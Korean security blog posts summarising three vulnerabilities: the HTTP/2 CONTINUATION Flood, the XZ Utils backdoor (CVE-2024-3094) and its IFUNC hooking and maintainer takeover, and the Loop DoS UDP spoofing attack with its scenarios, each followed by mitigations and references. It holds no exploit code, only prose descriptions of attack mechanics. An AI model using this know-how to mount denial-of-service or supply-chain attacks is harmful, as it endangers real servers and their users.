- END_HEADERS 플래그가 설정되지 않은 CONTINUATION 프레임의 연속 스트림이 전송되어 요청이 부적절하게 종료될 수 있음
CVE-2024-31309 - Apache 트래픽 서버에 영향
- HTTP/2 계속 DoS 공격은 서버에서 과도한 리소스 소비를 유발
CVE-2024-30255 - Envoy 버전 1.29.2 이하에 영향
- CONTINUATION 프레임의 폭주로 인해 CPU 소모에 취약하여 상당한 서버 리소스를 소비

 

3. 참고

[1] https://nowotarski.info/http2-continuation-flood-technical-details/
[2] https://datatracker.ietf.org/doc/html/rfc7540#section-6
[3] https://itchipmunk.tistory.com/272
[4] https://kb.cert.org/vuls/id/421644
[5] https://www.bleepingcomputer.com/news/security/new-http-2-dos-attack-can-crash-web-servers-with-a-single-connection/

'취약점 > Denial of Service' 카테고리의 다른 글

Loop DoS (CVE-2024-2169)  (0) 2024.03.23
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28
SLP DRDoS (CVE-2023-29552)  (0) 2023.11.13
HTTP/2 Rapid Reset DDoS (CVE-2023-44487)  (0) 2023.10.13
2009.07.07 DDoS  (0) 2023.07.06

1. 개요

- 모든 GNU/리눅스 운영체제의 인기 오픈소스 ‘XZ Utils’ 라이브러리에서 백도어가 발견
> 일종의 소프트웨어 공급망 공격으로 볼 수 있음
기존 공급망 공격과 달리 운영체제 레벨에서 사용되는 오픈소스 프로젝트 저장소에 접근
- CVSS 점수 10.0 할당 되었으며, 무단 원격 엑세스를 허용하도록 설계된 백도어 설치
- XZ Utils에 대한 점검과 패치 개발이 완료될 때까지 다운그레이드하여 사용 권고

 

2. 주요내용

2.1 XZ Utils [1]

- 범용 데이터 압축 형식
- GNU/리눅스 운영체제에서 데이터 압축에 필요한 필수 유틸리티를 제공하는 인기 오픈소스

 

2.2 CVE-2024-3094 [2]

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3094

 

XZ-Utils의 liblzma 라이브러리에서 백도어 악성코드가 발견 (CVSS: 10.0)
> 백도어 동작시 공격자가 SSH 인증없이 서버 로그인 가능
> 일련의 복잡한 난독화 과정을 거쳐 라이브러리에 연결된 모든 소프트웨어에서 사용할 수 있는 수정된 liblzma 라이브러리가 생성
> 수정된 라이브러리를 사용해 XZ Utils 라이브러리와의 데이터 상호 작용을 가로채고 수정

영향받는 버전: XZ Utils 5.6.0 및 5.6.1

 

- 해당 백도어는 GCC 컴파일러의 GNU 간접 함수(IFUNC) 속성을 활용하여 실행 흐름에 악성코드를 삽입 [3]

> 삽입된 백도어 코드는 실행을 가로채거나 후크

> 페이로드 오브젝트 파일로부터 추출되고, 조작된 "_get_cpuid()"를 호출하는 코드를 삽입하기 위해

> cpuid를 확인하는 "is_arch_extension_supported"를 대체하기 위해 ifunc 호출을 수정

One of the core techniques used by the XZ backdoor to gain initial control during execution is the GNU Indirect Function (ifunc) attribute for the GCC compiler to resolve indirect function calls in runtime. The implanted backdoor code initially intercepts or hooks execution. It modifies ifunc calls to replace a check "is_arch_extension_supported" which should simply invoke "cpuid" to insert a call to "_get_cpuid" which is exported by the payload object file (i.e., liblzma_la-crc64-fast.o) and which calls malformed _get_cpuid() which is implanted into the code shown in the figure below.

 

[사진 2] 백도어 코드 동작 과정

 

- 2021년 공격자는 깃허브에 JiaT75(Jia Tan) 계정을 생성 [4]
> 여러 프로젝트에 참여하며 평판을 쌓아 XZ 프로젝트 관련자로 참여
> 이후 새로운 관리자 계정 추가, 커밋 병합 등을 거쳐 백도어를 포함한 커밋이 저장소에 추가
> MS는 깃허브 서비스 약관 위반을 이유로 XZ Utils 리포지토리를 비활성화

 

3. 대응방안

① XZ-Utils 업데이트 금지 또는 5.4.x 버전으로 다운그레이드 [5]
- xz --version 명령 결과가 'xz 5.6.1'이나 'liblzma 5.6.1'인 경우 다음 중 두 가지를 수행
1) 사용하고 있는 리눅스 배포판의 업데이트 버전이 여부 확인 및 있을 경우 업데이트를 진행
2) XZ 유틸즈는 다운그레이드
3) SSH 전체를 당분간 비활성화

 

> 악의적인 행위자는 이미 5.4 버전을 출시하고 서명했기 때문에 더 이전 버전으로의 다운그레이드 주장 의견도 존재

 

② 취약한 XZ-Utils를 포함하지 않는 리눅스 배포판으로 다운그레이드 또는 업데이트 버전으로 마이그레이션 [6]

[사진 3] 영향 받는 리눅스 배포판 버전

 

③ 무료 온라인 스캐너 활용 [7]

> 펌웨어 보안 회사 Binarly는 취약점에 영향 받는 리눅스 실행 파일을 탐지하도록 설계된 새로운 온라인 스캐너 공개

> 바이트 문자열 매칭 및 파일 해시 차단 목록과 같은 기존 방법과는 다른 새로운 방식으로 탐지

> 바이너리에 대한 정적 분석을 사용해 GNU IFUNC의 트랜지션 변조를 식별

> 사용자가 파일을 업로드하여 무제한 무료로 검사 가능

 

4. 참고

[1] https://en.wikipedia.org/wiki/XZ_Utils
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-3094

[3] https://www.binarly.io/blog/xz-utils-supply-chain-puzzle-binarly-ships-free-scanner-for-cve-2024-3094-backdoor

[4] https://boehs.org/node/everything-i-know-about-the-xz-backdoor
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71388&menuNo=205020
[6] https://unit42.paloaltonetworks.com/threat-brief-xz-utils-cve-2024-3094/

[7] https://xz.fail/

[8] https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
[9] https://github.com/libarchive/libarchive/issues/2103
[10] https://www.boannews.com/media/view.asp?idx=128350&page=2&kind=1
[11] https://www.boannews.com/media/view.asp?idx=128375&page=1&kind=1
[12] https://www.boannews.com/media/view.asp?idx=128372&page=1&kind=1

[13] https://www.dailysecu.com/news/articleView.html?idxno=154855

'취약점 > Supply-Chain Attack' 카테고리의 다른 글

리포재킹(Repojacking) 공격  (0) 2023.09.14
지니언스 NAC 업데이트 서버 해킹  (0) 2023.07.05
3CX 공급망 공격  (0) 2023.04.06

1. 개요

- UDP 프로토콜의 구현상 문제로 인해 발생하는 서비스 거부 취약점이 발견 [1]

- 두 서비스간 오류 메시지를 무한정 주고받도록 하여 서비스 거부 유발

- 최소 30만 개의 서버가 취약점에 영향받는 것으로 파악됨

 

2. CVE-2024-2169

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-2169 [2]

 

- UDP 애플리케이션 프로토콜의 구현 문제로 인해 공격자는 악의적으로 제작된 패킷을 사용해 서비스 거부 유발 가능

> 벤더사 Broadcom, Cisco, Honeywell, Microsoft, MikroTik가 영향을 받는것으로 확인

> DNS, NTP, TFTP, Active Users, Daytime, Echo, Chargen, QOTD, Time과 같은 UDP 프로토콜의 특정 구현을 악용해 자체 영속적인 공격 루프를 생성할 수 있음

> 약 30만 개의 호스트에 영향

 

- UDP는 설계상 Source IP의 유효성을 검사하지 않는 비연결형 프로토콜로, IP 스푸핑에 취약

> UDP는 송수신자간 검증 및 직접 연결을 설정하지 않고, 패킷을 전송

> 따라서, 공격자가 Target IP로 스푸핑하여 응답할 서버로 전송해 취약점을 유발

 

[사진 2] Loop DoS 요약

 

- IP 스푸핑 및 조작된 요청을 전송하여, 두 서비스가 서로의 메시지에 계속 응답하는 루프 생성

> 두 시스템이 오류 메시지를 무한정으로 주고받아(=Loop) 서비스 거부 발생

 

2.1 공격 시나리오

시나리오 ①

- 다수의 호스트와 대상 서버간 루프를(N:1) 생성해 단일 대상에 DoS 유발

[사진 3] 시나리오 ①

시나리오 ②

- 백본 네트워크에 존재하는 호스트간 루프를(N:N) 생성해 다수 대상에 DoS 유발

[사진 4] 시나리오 ②

시나리오 ③

- 내부 호스트와 외부 호스트간 루프를(N:N) 생성해 업링크에 부하 유발

[사진 5] 시나리오 ③

시나리오 ④

- 루프 대상이 단일 응답이 아닌 여러 응답을 발생해 자체 증폭 루프를 형성

> 가장 파괴적인 유형으로, 모든 네트워크 트래픽을 중단하지 않는 한 계속 발생할 것

 

3. 대응방안

- 벤더사 제공 업데이트 적용

> 취약점 확인 후 벤더사에 전달해 조치가 이뤄지는 중

- UDP 애플리케이션 대상 방화벽 규칙 및 ACL 적용

- 불필요 UDP 비활성화

- QoS를 사용해 네트워크 트래픽 제한

- BCP38 및 uRPF(Unicast Reverse Path Forwarding) 등의 스푸핑 방지 솔루션 도입

 

4. 참고

[1] https://cispa.de/en/loop-dos
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-2169
[3] https://www.bleepingcomputer.com/news/security/new-loop-dos-attack-may-impact-up-to-300-000-online-systems/#google_vignette
[4] https://thehackernews.com/2024/03/new-loop-dos-attack-impacts-hundreds-of.html
[5] https://securityaffairs.com/160851/hacking/loop-dos-attack.html
[6] https://www.darkreading.com/cloud-security/300k-internet-hosts-at-risk-for-devastating-loop-dos-attack
[7] https://www.boannews.com/media/view.asp?idx=127987&kind=1

'취약점 > Denial of Service' 카테고리의 다른 글

CONTINUATION Flood  (0) 2024.04.07
KeyTrap 취약점(CVE-2023-50387)  (0) 2024.02.28
SLP DRDoS (CVE-2023-29552)  (0) 2023.11.13
HTTP/2 Rapid Reset DDoS (CVE-2023-44487)  (0) 2023.10.13
2009.07.07 DDoS  (0) 2023.07.06

+ Recent posts